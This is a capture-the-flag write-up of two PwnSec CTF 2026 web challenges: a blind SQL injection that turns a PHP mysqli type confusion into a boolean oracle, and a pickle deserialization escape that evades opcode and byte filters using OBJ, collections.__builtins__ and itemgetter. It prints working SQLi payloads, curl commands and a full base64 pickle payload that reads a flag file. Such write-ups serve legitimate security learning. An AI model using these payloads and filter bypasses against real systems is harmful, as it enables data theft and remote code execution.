PwnSec CTF 2026
PHP · MySQL · mysqli · Python 3.12 · Flask · pickle · pickletools · curl · requests · sqlmap
Introduction
PwnSec CTF 26 ran on September 12th under a “Humans vs Cyborgs” banner at pwnsec.ctf.ae. I came out of it with two flags, both from easy web challenges. That’s the whole scoreboard story on my end, and I’d rather write it down than pretend otherwise.
The two solves were worth writing up anyway, because neither one fell to a standard payload. Slop Slop Go Away was a SQL injection where every classic channel was deliberately sealed off and the actual oracle turned out to live in the PHP, not the SQL. Time Capsule was a pickle deserialization challenge wrapped in three separate filters, where the way through was an opcode most people forget exists.
Both writeups below are the full thing, exactly as I worked them.
Challenge 1: Slop Slop Go Away
Difficulty: Easy | Category: Web
The challenge statement was a nursery rhyme, credited to “Fat Mesh”:
slop slop go away
Come again another day
Be the person that you fear
Slop slop go away
1. The source code
Visiting the URL directly dumps the PHP source:
1 |
|
Observations
- Raw SQL injection on
id, with no sanitization and no parameterization. - A deliberate 2-second floor via
register_shutdown_function. Every response takes at least 2.0s, and the comment// no timing attack!!confirms it’s intentional. - The output is always the same string.
$rowis fetched but never printed, so UNION-based output is useless. mysqli_report(MYSQLI_REPORT_OFF)hides MySQL errors.
The subtle bug
1 | $res = $db->query($sql); // mysqli_result | TRUE | FALSE |
mysqli::query() returns three different types:
| Query type | Return |
|---|---|
SELECT, SHOW, DESCRIBE, EXPLAIN |
mysqli_result object |
INSERT, UPDATE, DELETE, SELECT ... INTO @var, SELECT ... INTO OUTFILE |
TRUE (boolean) |
| Error | FALSE |
When it returns TRUE, the next line executes TRUE->fetch_row(), which is a fatal PHP error:
1 | Fatal error: Uncaught Error: Call to a member function fetch_row() on bool |
That fatal error changes the response body. This is our oracle.
2. The dead ends
Before finding the oracle, everything classic fails:
| Payload | Result | Why |
|---|---|---|
id=1 OR SLEEP(5) |
2.4s | users empty → WHERE not evaluated |
id=(SELECT SLEEP(5)) |
2.4s | Same reason |
id=1 UNION SELECT SLEEP(5)-- |
2.4s | -- needs a trailing space, and column count must match |
BENCHMARK(3000000000, MD5(1)) |
2.4s | Query never executed |
INTO OUTFILE '/var/www/html/x' |
404 | No FILE privilege / secure_file_priv block |
LOAD_FILE('\\\\...oast.fun\\a') |
No DNS hit | No FILE privilege |
| sqlmap | 30+ min, no hit | 2s shutdown sleep defeats its statistical model |
Everything returned byte-identical output. All timing and out-of-band channels were dead.
3. The breakthrough
Force query() to return TRUE using SELECT ... INTO @var, a valid MySQL clause that produces no result set but needs no file privileges:
1 | id = 1 INTO @x |
The full query becomes:
1 | SELECT username FROM users WHERE id = 1 INTO @x |
MySQL accepts this, returns no result set, PHP’s mysqli::query() returns TRUE, and line 14 crashes with a fatal error.
Verified:
1 | curl -s "https://.../?id=1%20INTO%20@x" | grep -o "Fatal error" |
We now have a way to detect “query succeeded without a result set”.
4. Turning it into a boolean oracle
We need to make the crash conditional. The naive form:
1 | 1 AND IF(<condition>, 1, (SELECT 1 FROM nonexistent)) INTO @x |
fails, because MySQL parses both branches of IF at parse time. Any invalid table reference in either branch breaks the query before the condition is ever evaluated.
The fix is to use an error that happens at runtime, only in the branch actually taken. The classic primitive is numeric overflow:
1 | 1 AND IF(<condition>, 1, EXP(99999)) INTO @x |
- Condition TRUE →
IFreturns1→ query succeeds →query()=TRUE→ PHP fatally crashes → response containsFatal error. - Condition FALSE →
IFreturnsEXP(99999)→ double overflow error → query fails →$res = FALSE→die("ill try to tell him, dw")→ normal response.
The oracle
1 | Fatal error in response ⇔ condition is TRUE |
Verified end to end:
1 | curl -s ".../?id=1%20AND%20IF(1=1,1,EXP(99999))%20INTO%20@x" | grep -c "Fatal error" # → 1 |
One trap worth flagging: UNION ... INTO @x is invalid MySQL. INTO can only attach to the last SELECT of the top-level query, never after a UNION. That’s why the union variant returned 0 for both true and false, which cost me a while before I noticed. Always use the AND form.
5. Extracting data
Two optimizations make extraction practical given the forced 2s delay.
Binary search instead of linear scan. Naive scanning tries ASCII 32, 33, 34, and so on, up to 95 requests per character. Splitting 0 to 255 in half each time gets it to roughly 8 requests per character.
GROUP_CONCAT batching. Instead of one extraction per table name, pull them all in one SQL string:
1 | SELECT GROUP_CONCAT(table_name SEPARATOR ',') |
Same for columns, and rows via CONCAT_WS('|', col1, col2, ...). This collapses dozens of extractions into one.
6. The final Python script
1 | #!/usr/bin/env python3 |
How it works
oracle(cond)sends the conditionalINTO @xpayload and checks the response forFatal error.get_len(query)binary searches onLENGTH().get_char(query, pos)binary searches onORD(SUBSTRING(..., pos, 1)).extract(query)walks the string one character at a time.- Enumeration lists all tables in
chall, then all columns of each, then dumps up to 10 rows per table viaGROUP_CONCAT.
1 | pip3 install requests |
The flag lands in one of the dumped rows, usually in a flag table’s value column or in users.password.
7. Summary of the exploit chain
- Spot the type confusion.
$res->fetch_row()on a boolean crashes PHP. - Trigger
TRUEdeterministically withSELECT ... INTO @x. - Make it conditional with
IF(cond, 1, EXP(99999)), a runtime error rather than a parse error. - Build a boolean oracle on the presence of
Fatal errorin the response. - Extract with binary search and
GROUP_CONCATto defeat the 2-second floor.
The 2-second shutdown sleep and its // no timing attack!! comment were the intended red herring. The real vulnerability is the type confusion between mysqli_result and TRUE at line 14, which hands you a boolean side channel that the timing lock does nothing to stop.
8. Key takeaways
mysqli::query()has three return types, and checking onlyif (!$res)is not enough. Any code that assumesmysqli_resultafter that check is broken.- Runtime errors beat parse errors for conditional blind SQLi.
EXP(99999),1/0,CAST(... AS UNSIGNED)andUPDATEXML()all error at evaluation time and are safe on the branch that isn’t taken. INTO @varis a privilege-free way to force a non-result-set return.GROUP_CONCATplus binary search is the standard way to make boolean blind SQLi bearable over slow links.- When every classic channel is dead, look for the bug in the PHP itself, not the SQL.
Challenge 2: Time Capsule (Pickle Sandbox Escape)
Difficulty: Easy | Category: Web
Challenge summary
A Flask web app called “Time Capsule” accepts a base64-encoded Python pickle, runs it through a hardened restricted unpickler, and executes whatever it decodes to. Three independent layers of defense stand between the payload and code execution. The goal is to read /app/flag.txt on the server.
Challenge statement
The challenge ships six files: a Dockerfile, docker-compose.yml, webapp.py, sessionstore.py, app.js and index.html. The app exposes a single endpoint:
1 | POST /restore |
The server base64-decodes the payload, runs it through a filter, then deserializes it:
1 | BANNED_PATTERNS = [ |
Docker confirms Python 3.12 and the flag location:
1 | FROM python:3.12-slim |
The three defenses
Module allow-list. Only imports from sessionstore (the app’s own tiny helper module, with Capsule, render and new_capsule) or collections are permitted. No os, no sys, no subprocess.
REDUCE opcode ban. After disassembling the payload with pickletools.dis, if the string "REDUCE" appears anywhere in the output, the payload is rejected. REDUCE is the opcode the textbook pickle exploit relies on: GLOBAL a dangerous callable, push args, REDUCE to call it.
Raw-byte substring filter. The undecoded pickle bytes are scanned for os, system, subprocess, import, getattr, setattr, flag and friends. Notably, . (a bare period) is banned outright.
How we got there
Pickle isn’t just data, it’s a tiny stack VM. Deserializing a pickle means executing a stream of opcodes: GLOBAL resolves module.name, various opcodes build containers, and normally REDUCE calls a function with arguments. That’s what makes pickle deserialization dangerous, and it’s what this challenge partially blocks.
REDUCE isn’t the only opcode that calls something. Pickle protocol 0 has an older opcode, OBJ, whose handler in pickle.py does roughly this:
1 | args = pop_mark() # everything since the last MARK |
I confirmed it empirically: a hand-crafted payload using OBJ instead of REDUCE disassembles with no "REDUCE" in the output, and still calls the target with arguments.
Finding a gadget inside the whitelist. collections looks harmless, since it’s just container types, but reading its actual source with inspect.getsource shows two things worth exploiting:
collections.__builtins__: for any normally-imported module, Python auto-injects__builtins__into its namespace as the real builtins dict, not the module object.GLOBAL collections __builtins__hands you every builtin function by name (open,print,vars,type,chr,str,len, and the rest) for free.collections._itemgetter:collectionsimportsoperator.itemgetteras a private name at the top of the file.itemgetter(key)(obj)isobj[key]expressed as a function call instead of[]syntax.
Generic attribute access without . or getattr. The byte filter blocks the literal . and the word getattr, so no dot syntax and no getattr() calls anywhere. The workaround: vars(obj) returns obj.__dict__ for any object that has one (modules, classes, instances), and that dict is subscriptable via itemgetter. Combined with type(), this gives a full reflection primitive:
1 | vars(type(some_object))['method_name'](some_object, *args) |
No STOP opcode. STOP, the opcode marking end of stream, is literally the byte 0x2e, which is ., which is banned. Every payload therefore has to end abruptly without it. restore() catches the resulting EOFError with a bare except: pass, so this costs nothing. It also has a side effect in our favor: check()‘s pickletools.dis() call raises on the truncated stream, caught by the same broad except Exception, so the "REDUCE" string search never even executes for any STOP-less payload.
Building /app/flag.txt without the literal bytes flag or .. The filename gets assembled piece by piece at runtime: "/app/fl" + "ag" + chr(N) + "txt", where N needs to equal 46, the ASCII code for .. My first attempt embedded the integer 46 directly via a BININT1 opcode, which puts the raw byte 0x2e straight into the payload and immediately trips the . filter, an actual bug I caught while testing. The fix is to compute 46 at runtime instead of writing it: concatenate two filler strings of safe lengths (20 and 26 characters) and take len() of the result, so the number 46 only ever exists in memory during unpickling, never as a byte I sent.
Final exploit chain
GLOBAL collections _itemgetter→operator.itemgetterGLOBAL collections __builtins__→ the real builtins dict- Pull
vars,type,open,print,chr,strandlenout of that dict viaitemgetter - Build the integer
46fromlen("q"*20 + "q"*26), thenchr(46)→"." - Assemble
["/app/fl", "ag", ".", "txt"]as a pickle list, join with"" open(path)→ file handlevars(type(fh))['read'](fh)→ file contents, with no dot and nogetattrprint(contents)→ lands in the app’s captured stdout, returned in the JSON response- Every call uses
OBJ, neverREDUCE, and the stream has noSTOP
Proof of concept
Rather than hand-write raw pickle bytes, I built a small opcode assembler (MARK, SHORT_BINUNICODE, GLOBAL, OBJ, BINPUT/BINGET for memoization, EMPTY_LIST/APPENDS) and tested the full chain against an exact local copy of check(), RestrictedUnpickler and restore() taken from the provided webapp.py, on Python 3.12.3 to match python:3.12-slim.
First I proved the mechanics against a local test file with a dot-free name, where the full reflection chain worked and printed the file contents correctly. Then I proved the obfuscated path reconstruction against a local file deliberately named with “flag” and “.” in it, confirming the payload passed the banned-substring filter and still printed the right contents. Only then did I swap the path fragments to target /app/flag.txt for the real submission.
Final payload
Submit as the payload field to /restore:
1 | Y2NvbGxlY3Rpb25zCl9pdGVtZ2V0dGVyCnEAY2NvbGxlY3Rpb25zCl9fYnVpbHRpbnNfXwpxAShoAIwEdmFyc29xAihoAmgBb3EDKGgAjAR0eXBlb3EEKGgEaAFvcQUoaACMBG9wZW5vcQYoaAZoAW9xByhoAIwFcHJpbnRvcQgoaAhoAW9xCShoAIwDY2hyb3EKKGgKaAFvcQsoaACMA3N0cm9xDChoDGgBb3ENKGgDaA1vcQ4oaACMBGpvaW5vcQ8oaA9oDm9xEChoAIwDbGVub3ERKGgRaAFvcRJdcRNoEyiMFHFxcXFxcXFxcXFxcXFxcXFxcXFxjBpxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcWVxFChoEIwAaBRvcRUoaBJoFW9xFihoC2gWb3EXXXEYaBgojAcvYXBwL2ZsjAJhZ2gXjAN0eHRlMChoEIwAaBhvcRkoaAdoGW9xGihoBWgab3EbKGgDaBtvcRwoaACMBHJlYWRvcR0oaB1oHG9xHihoHmgab3EfKGgJaB9v |
1 | curl -s -X POST https://<target-host>/restore \ |
The output field of the JSON response contains the flag.
Key techniques
REDUCEisn’t the only pickle opcode that calls a callable.OBJ, protocol 0’scls(*args)form, works identically and shows up as a distinct opcode name inpickletools.disoutput.- A whitelisted, safe-looking module can still leak dangerous references. Always check what a module quietly imports at its own top level with
inspect.getsource, not just its documented public API. vars(obj)(which givesobj.__dict__) plus a subscript primitive likeoperator.itemgettertogether form a full generic attribute-read gadget that needs neither dot syntax norgetattr.- Pickle’s
STOPopcode is the literal byte., so a filter banning.forces every payload to end abruptly. Check whether the app’s exception handling aroundUnpickler.load()tolerates that before assuming it’s fatal. - Never embed a sensitive integer or string literally if a filter can see it. Compute it at runtime, for example via
len()of unrelated strings, so it only exists in memory during execution and never in the bytes you send.
Closing Thoughts
Two flags, both easy web. That’s the whole result for this one, and there’s no reason to dress it up as more than it was.
What made both worth the time was that neither gave up its flag to the obvious first move. sqlmap ran for over 30 minutes against Slop Slop Go Away and found nothing, because the bug wasn’t in the SQL at all, it was three lines of PHP below the query. Time Capsule blocked the pickle opcode everyone reaches for first and left an older one sitting right next to it, unblocked. In both cases the fix came from rereading the source slowly instead of trusting the first tool that came to hand, and Time Capsule even caught me making the same kind of mistake once, when an early payload leaked the banned byte 0x2e straight into the pickle stream through a BININT1 opcode.






